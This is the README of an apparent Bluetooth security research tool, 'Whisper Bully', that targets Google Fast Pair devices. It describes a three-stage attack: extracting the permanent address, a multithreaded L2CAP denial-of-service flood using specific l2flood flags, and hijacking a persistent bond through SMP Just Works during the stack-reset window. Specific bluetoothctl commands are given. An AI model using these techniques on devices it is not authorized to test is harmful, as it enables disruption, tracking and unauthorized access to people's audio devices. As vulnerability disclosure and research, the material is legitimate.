Whisper Bully

Bluetooth BDADDR Extraction, Denial-of-Service & Hijack Research Tool

© 2026 @Ymsniper — For authorized security research only.

---

Overview

Whisper Bully is a three-stage Bluetooth security research tool targeting devices that advertise Google Fast Pair (service UUID fe2c). It demonstrates two unpatched attack primitives that are outside the scope of the CVE-2025-36911 firmware patch:

• Unpatched BDADDR leak — permanent identity address disclosed via plain BLE connection, no GATT interaction required, works on fully patched devices
• SMP authentication bypass via reset window — persistent bond established through standard SMP Just Works during BT stack recovery after L2CAP flood, without any Fast Pair GATT handshake

⚠️ This tool does NOT implement the Whisper Pair (Fast Pair GATT) protocol. It never writes to the Key-Based Pairing characteristic (UUID 1236) or Account Key characteristic (UUID 1238). The attack surface described here is separate from and unaddressed by the CVE-2025-36911 pairing mode check patch.

---

https://github.com/user-attachments/assets/67f2bcb6-38ad-4ba0-80c5-36dbb54f3f11

Attack Stages

Stage 1 — BDADDR Extraction (Unpatched Information Disclosure)

Root cause: When a BLE connection is established, the Linux BlueZ host stack processes the LL_CONNECTION_COMPLETE event and resolves the device's Resolvable Private Address (RPA) to its permanent Identity Address, caching it in the BlueZ device table. This happens at the Link Layer / HCI level, before any GATT service interaction. No Fast Pair protocol is involved.

What the code actually does:

1. Performs an active BLE scan (BleakScanner) for devices advertising Fast Pair service UUID fe2c — used only for target identification, no protocol interaction
2. Establishes a plain BLE connection via BleakClient.connect() — no GATT writes of any kind
3. Sets the BlueZ agent to NoInputNoOutput in preparation for Step 4
4. Checks whether the Fast Pair GATT service is present on the target — this check is advisory only; the tool continues regardless of the result (line 452 of wb.py)
5. Runs bluetoothctl pair <rpa_addr> — standard Bluetooth SMP pairing attempt, not Fast Pair
6. Monitors bluetoothctl stdout for Bonded: yes output, which may carry the bonded address
7. Primary fallback: Calls bluetoothctl devices and compares against the initial RPA — any entry with the same device name but a different address is the permanent Identity Address, leaked by BlueZ at step 2

Why the patch doesn't fix this:

The CVE-2025-36911 firmware fix adds a pairing mode check to the Fast Pair GATT Key-Based Pairing characteristic handler on the accessory. This tool never writes to that characteristic. The identity address leak occurs on the attacker's Linux host via BlueZ's own device cache — entirely outside the accessory's firmware.

Key behavior notes:

• Extraction can succeed even if the bluetoothctl pair step fails or times out
• The FP GATT service presence check at step 4 does not gate the attack
• No PIN confirmation window appears — NoInputNoOutput means no user interaction on either side for Just Works

---

Stage 2 — L2CAP Flooding (EMP Burst-Reconnect Mode)

Once the permanent address is known, optionally execute a sustained L2CAP denial-of-service using a modified version of l2flood.

Two modes are used across the tool:

-R flag — EMP mode (Stage 2 flood) Silent fire-and-forget burst-reconnect. All threads synchronize their connect → burst → forced close cycles so the target receives periodic full ACL teardowns rather than staggered L2CAP channel shuffling it can absorb. Uses SO_LINGER {1,0} for immediate RST teardown on every close. Produces no stdout output during normal operation — connect errors are suppressed to stderr and only printed periodically.

Normal mode (Stage 3 hijack probe) Used without -R to probe whether the target is still responding. This mode was also improved — it now handles reconnects automatically and outputs no response from <addr>: id N when the target stops responding, which is what wb.py monitors to trigger the hijack.

Result: Target device becomes unresponsive to normal connection attempts while the flood is active. Device recovers fully when the attack stops — no permanent damage.

Multithread behavior:

• Threads synchronize after each burst cycle so pressure hits the target simultaneously
• Effective up to ~16 threads on typical hardware; diminishing returns beyond that
• Multiple HCI adapters can be used simultaneously for increased pressure

---

Stage 3 — Hijack via SMP Just Works During Reset Window (Unpatched Auth Bypass)

Root cause: The sustained L2CAP flood causes the target device's Bluetooth stack to crash or reset. During the recovery window — before the Fast Pair GATT service has re-registered and before the Security Manager has fully re-initialized — the device accepts a standard SMP Just Works bond from NoInputNoOutput without requiring the Fast Pair GATT handshake that would normally gate the bond. The resulting bond is persistent: it survives BT adapter resets and shows Paired: yes / Bonded: yes in bluetoothctl info.

Why this is a separate finding from CVE-2025-36911:

The CVE-2025-36911 patch enforces a pairing mode check in the FP GATT Key-Based Pairing characteristic handler. Stage 3 never touches that characteristic. The bond is established at the SMP layer during a window where the FP GATT server hasn't re-initialized, so the Fast Pair security gate is never even reached. A fully patched device remains vulnerable to this because the patch has no visibility into the SMP layer during stack recovery.

What the code actually does:

1. Sends an L2CAP probe (l2flood -c -1 -t 2) to confirm the device is unresponsive — looks for no response from <addr>: id N in output
2. Once unresponsive state is confirmed, runs bluetoothctl connect <permanent_addr> in a retry loop
3. SMP negotiates NoInputNoOutput / NoInputNoOutput → Just Works association model → bond completes
4. bluetoothctl connect returns exit code 0 on success
5. Bond persists after attack stops

Success probability by device state:

Device State	Expected Result
Actively in flood / unresponsive	Highest success — stack in degraded state during recovery
Recovering from flood	High success — temporary SM re-init window
Fully recovered	Lower success — normal security restored
Powered off	Fails

---

Relationship to CVE-2025-36911

	CVE-2025-36911 (WhisperPair)	This Tool
Protocol used	Fast Pair GATT KBP (UUID 1236 write)	None — plain BLE connect only
BDADDR leak path	Encrypted KBP notification (BR/EDR addr)	BlueZ RPA resolution on LL_CONNECTION_COMPLETE
Auth bypass path	FP pairing mode check missing	SMP Just Works during BT stack recovery window
Patched by 36911 fix?	Yes	No
Works on patched devices?	No	Yes
CWE	CWE-287	CWE-200 (Stage 1) + CWE-362/CWE-287 (Stage 3)

---

⚠️ Legal Warning

This is a denial-of-service and unauthorized access research tool.

Using this tool on devices you do not own or without explicit written authorization is a federal crime punishable by imprisonment and fines under the Computer Fraud and Abuse Act (18 U.S.C. § 1030) and equivalent statutes in other jurisdictions.

You may only use this tool on:

• Devices you personally own
• Devices for which you have explicit written authorization from the owner to conduct security testing

---

Requirements